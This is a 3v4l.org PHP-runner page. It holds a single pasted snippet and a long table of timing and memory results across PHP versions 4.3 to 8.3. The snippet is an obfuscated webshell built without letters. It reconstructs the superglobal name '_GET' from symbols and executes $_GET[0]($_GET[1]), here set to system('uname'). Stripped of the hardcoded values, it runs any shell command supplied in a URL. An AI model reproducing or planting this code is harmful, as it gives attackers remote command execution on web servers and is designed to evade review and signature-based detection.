3v4l.org

run code in 300+ PHP versions simultaneously
<?php //TNG $_GET['0']='system'; $_GET['1']='uname'; @$_[]=@!+_; $__=@${_}>>$_;$_[]=$__;$_[]=@_;$_[((++$__)+($__++ ))].=$_; $_[]=++$__; $_[]=$_[--$__][$__>>$__];$_[$__].=(($__+$__)+ $_[$__-$__]).($__+$__+$__)+$_[$__-$__]; $_[$__+$__] =($_[$__][$__>>$__]).($_[$__][$__]^$_[$__][($__<<$__)-$__] ); $_[$__+$__] .=($_[$__][($__<<$__)-($__/$__)])^($_[$__][$__] ); $_[$__+$__] .=($_[$__][$__+$__])^$_[$__][($__<<$__)-$__ ]; $_=$ $_[$__+ $__] ;$_[@-_]($_[@!+_] );

Here you find the average performance (time & memory) of each version. A grayed out version indicates it didn't complete successfully (based on exit-code).

VersionSystem time (s)User time (s)Memory (MiB)
8.3.70.0190.00318.50
8.3.60.0000.01618.43
8.3.50.0130.00621.15
8.3.40.0040.01118.78
8.3.30.0070.01020.34
8.3.20.0080.00020.34
8.3.10.0070.00022.13
8.3.00.0030.00622.51
8.2.190.0170.00316.88
8.2.180.0120.00916.88
8.2.170.0070.00722.96
8.2.160.0040.01120.47
8.2.150.0080.00024.18
8.2.140.0080.00024.66
8.2.130.0100.01026.16
8.2.120.0150.00319.61
8.2.110.0030.00619.33
8.2.100.0090.00318.03
8.2.90.0000.00819.12
8.2.80.0050.00317.97
8.2.70.0030.00517.75
8.2.60.0040.00418.05
8.2.50.0090.00018.07
8.2.40.0000.00818.34
8.2.30.0080.00418.05
8.2.20.0040.00417.80
8.2.10.0040.00417.88
8.2.00.0000.00817.70
8.1.280.0100.01025.92
8.1.270.0040.00424.66
8.1.260.0000.00926.35
8.1.250.0070.00028.09
8.1.240.0060.00322.19
8.1.230.0070.00319.03
8.1.220.0000.00917.74
8.1.210.0040.00418.77
8.1.200.0030.00717.35
8.1.190.0000.00817.36
8.1.180.0000.00720.29
8.1.170.0060.00318.53
8.1.160.0030.00622.04
8.1.150.0030.00518.70
8.1.140.0050.00217.45
8.1.130.0040.00417.78
8.1.120.0000.00717.44
8.1.110.0060.00317.30
8.1.100.0040.00417.45
8.1.90.0070.00017.31
8.1.80.0030.00517.44
8.1.70.0070.00017.43
8.1.60.0030.00617.59
8.1.50.0050.00317.57
8.1.40.0040.00417.45
8.1.30.0000.00917.48
8.1.20.0040.00417.68
8.1.10.0030.00517.59
8.1.00.0080.00517.50
8.0.300.0000.00720.04
8.0.290.0040.00416.63
8.0.280.0000.00818.38
8.0.270.0080.00017.34
8.0.260.0000.00716.81
8.0.250.0000.00817.00
8.0.240.0040.00417.05
8.0.230.0070.00016.95
8.0.220.0000.00816.89
8.0.210.0030.00316.88
8.0.200.0030.00517.01
8.0.190.0040.00416.95
8.0.180.0040.00416.95
8.0.170.0050.00316.89
8.0.160.0000.00716.96
8.0.150.0070.00016.96
8.0.140.0000.00716.89
8.0.130.0030.00313.44
8.0.120.0000.00816.86
8.0.110.0040.00416.94
8.0.100.0070.00016.84
8.0.90.0040.00417.01
8.0.80.0070.00717.02
8.0.70.0040.00416.89
8.0.60.0000.00717.04
8.0.50.0000.00716.92
8.0.30.0060.01317.08
8.0.20.0130.00517.40
8.0.10.0040.00416.96
8.0.00.0050.01216.74
7.4.330.0020.00215.00
7.4.320.0030.00316.59
7.4.300.0000.00616.54
7.4.290.0000.00616.68
7.4.280.0030.00416.53
7.4.270.0050.00216.60
7.4.260.0030.00316.65
7.4.250.0040.00416.38
7.4.240.0020.00516.54
7.4.230.0030.00316.32
7.4.220.0070.01016.59
7.4.210.0070.00916.60
7.4.200.0020.00516.60
7.4.190.0070.00016.75
7.4.160.0060.01016.45
7.4.150.0140.00417.40
7.4.140.0110.00717.86
7.4.130.0080.00816.49
7.4.120.0110.00516.53
7.4.110.0060.01116.45
7.4.100.0150.00316.61
7.4.90.0090.00816.61
7.4.80.0070.01119.39
7.4.70.0040.01416.57
7.4.60.0070.01016.78
7.4.50.0090.00016.50
7.4.40.0070.00222.77
7.4.30.0080.01116.45
7.4.00.0030.01015.30
7.3.330.0000.00613.24
7.3.320.0030.00313.07
7.3.310.0050.00316.40
7.3.300.0030.00316.29
7.3.290.0080.01216.44
7.3.280.0070.00716.44
7.3.270.0100.00617.40
7.3.260.0110.00816.58
7.3.250.0100.01016.43
7.3.240.0140.00316.60
7.3.230.0080.00916.44
7.3.210.0070.01016.47
7.3.200.0090.00919.39
7.3.190.0130.01116.49
7.3.180.0030.01316.52
7.3.170.0070.00716.57
7.3.160.0110.01116.39
7.3.120.0000.01414.90
7.2.330.0100.00716.46
7.2.320.0130.00716.76
7.2.310.0050.01316.67
7.2.300.0080.00816.80
7.2.290.0120.01216.83
7.2.60.0030.01016.62
7.2.00.0040.00819.60
7.1.200.0000.01515.63
7.1.100.0090.00318.16
7.1.70.0040.00417.27
7.1.60.0030.02019.43
7.1.50.0140.01116.61
7.1.00.0030.07022.57
7.0.200.0040.00416.84
7.0.140.0000.07322.07
7.0.100.0070.05319.85
7.0.90.0100.08019.85
7.0.80.0070.08019.87
7.0.70.0070.07019.90
7.0.60.0130.05319.91
7.0.50.0000.05020.22
7.0.40.0100.07320.05
7.0.30.0030.08019.98
7.0.20.0030.09020.13
7.0.10.0200.07019.97
7.0.00.0030.08720.02
5.6.280.0070.07320.93
5.6.250.0030.07720.74
5.6.240.0130.07320.66
5.6.230.0330.07720.50
5.6.220.0270.06020.48
5.6.210.0200.05020.54
5.6.200.0330.07721.11
5.6.190.0130.07721.10
5.6.180.0200.04720.91
5.6.170.0230.08020.98
5.6.160.0270.08021.01
5.6.150.0170.07721.00
5.6.140.0330.06721.03
5.6.130.0100.07720.96
5.6.120.0300.08320.98
5.6.110.0170.07721.00
5.6.100.0100.07320.96
5.6.90.0070.09020.95
5.6.80.0070.07020.52
5.6.70.0030.07720.38
5.6.60.0170.05020.34
5.6.50.0170.05020.37
5.6.40.0030.08720.39
5.6.30.0200.06320.34
5.6.20.0270.04320.42
5.6.10.0270.05720.37
5.6.00.0100.07020.32
5.5.380.0070.08320.36
5.5.370.0100.05320.35
5.5.360.0130.05720.35
5.5.350.0100.08020.47
5.5.340.0130.09320.72
5.5.330.0270.08020.76
5.5.320.0070.05020.86
5.5.310.0130.04320.82
5.5.300.0030.08320.88
5.5.290.0300.05320.60
5.5.280.0130.08020.75
5.5.270.0200.06020.71
5.5.260.0200.06320.72
5.5.250.0030.08020.54
5.5.240.0170.04720.25
5.5.230.0130.07720.09
5.5.220.0070.04320.25
5.5.210.0100.07720.20
5.5.200.0070.04020.09
5.5.190.0030.04720.20
5.5.180.0200.03720.21
5.5.160.0070.04720.23
5.5.150.0130.03720.18
5.5.140.0200.06320.20
5.5.130.0300.05720.11
5.5.120.0130.04020.11
5.5.110.0100.07720.13
5.5.100.0200.04320.11
5.5.90.0100.07720.12
5.5.80.0200.07320.11
5.5.70.0030.08020.04
5.5.60.0130.07720.05
5.5.50.0130.07320.04
5.5.40.0130.04720.05
5.5.30.0170.03720.03
5.5.20.0200.06720.01
5.5.10.0070.03719.93
5.5.00.0100.09019.91
5.4.450.0230.07319.40
5.4.440.0130.07719.38
5.4.430.0200.04719.47
5.4.420.0200.03319.55
5.4.410.0170.07319.10
5.4.400.0070.03319.06
5.4.390.0100.05719.24
5.4.380.0270.07018.83
5.4.370.0100.03719.04
5.4.360.0170.06018.98
5.4.350.0230.04319.06
5.4.340.0170.05319.16
5.4.320.0170.04319.12
5.4.310.0300.05319.16
5.4.300.0070.07019.02
5.4.290.0130.03719.04
5.4.280.0070.08019.03
5.4.270.0070.05719.07
5.4.260.0070.06718.90
5.4.250.0030.05319.05
5.4.240.0130.06319.04
5.4.230.0230.03718.86
5.4.220.0170.03718.79
5.4.210.0070.03719.03
5.4.200.0170.05719.04
5.4.190.0170.04318.97
5.4.180.0130.05718.91
5.4.170.0200.05318.95
5.4.160.0170.04718.81
5.4.150.0170.05318.77
5.4.140.0300.07016.23
5.4.130.0070.07716.31
5.4.120.0100.06316.36
5.4.110.0200.04716.28
5.4.100.0030.08016.28
5.4.90.0330.06716.34
5.4.80.0270.07316.31
5.4.70.0230.04716.45
5.4.60.0100.03716.46
5.4.50.0270.03316.25
5.4.40.0230.04716.30
5.4.30.0030.03716.35
5.4.20.0070.06016.46
5.4.10.0300.05316.21
5.4.00.0070.03715.72
5.3.290.0170.07314.69
5.3.280.0230.06014.43
5.3.270.0300.07014.63
5.3.260.0100.08314.45
5.3.250.0030.07014.58
5.3.240.0100.06714.59
5.3.230.0030.05014.62
5.3.220.0230.07714.59
5.3.210.0070.04714.44
5.3.200.0130.04014.50
5.3.190.0200.04714.44
5.3.180.0270.07014.54
5.3.170.0100.07714.52
5.3.160.0270.07714.59
5.3.150.0200.04014.54
5.3.140.0030.06714.52
5.3.130.0000.05714.40
5.3.120.0270.07014.55
5.3.110.0270.06014.38
5.3.100.0370.06314.05
5.3.90.0030.04014.04
5.3.80.0070.06713.98
5.3.70.0170.07313.89
5.3.60.0200.03713.88
5.3.50.0130.06313.96
5.3.40.0030.07013.83
5.3.30.0300.06713.88
5.3.20.0200.07713.70
5.3.10.0100.03013.44
5.3.00.0200.07013.65
5.2.170.0300.05011.00
5.2.160.0070.05711.11
5.2.150.0070.04011.21
5.2.140.0100.05711.15
5.2.130.0070.03311.11
5.2.120.0270.06311.11
5.2.110.0200.02710.91
5.2.100.0030.06310.96
5.2.90.0230.03011.04
5.2.80.0070.06310.95
5.2.70.0270.06011.04
5.2.60.0270.05311.09
5.2.50.0000.07311.02
5.2.40.0000.06711.04
5.2.30.0200.06010.99
5.2.20.0130.05310.84
5.2.10.0030.06010.96
5.2.00.0000.06310.59
5.1.60.0030.04310.00
5.1.50.0170.0439.84
5.1.40.0170.05310.07
5.1.30.0070.02310.34
5.1.20.0070.04710.28
5.1.10.0030.05310.16
5.1.00.0030.0239.92
5.0.50.0070.0178.67
5.0.40.0000.0378.42
5.0.30.0030.0478.23
5.0.20.0300.0308.29
5.0.10.0200.0238.26
5.0.00.0130.0608.25
4.4.90.0230.0277.43
4.4.80.0030.0307.43
4.4.70.0070.0337.43
4.4.60.0000.0407.43
4.4.50.0000.0277.43
4.4.40.0000.0507.43
4.4.30.0070.0337.43
4.4.20.0200.0177.43
4.4.10.0070.0307.43
4.4.00.0030.0407.43
4.3.110.0030.0337.43
4.3.100.0000.0337.43
4.3.90.0030.0137.43
4.3.80.0000.0277.43
4.3.70.0000.0337.43
4.3.60.0070.0237.43
4.3.50.0070.0207.43
4.3.40.0030.0507.43
4.3.30.0000.0237.43
4.3.20.0230.0307.43
4.3.10.0000.0207.43
4.3.00.0230.0237.43

preferences:
37.84 ms | 401 KiB | 5 Q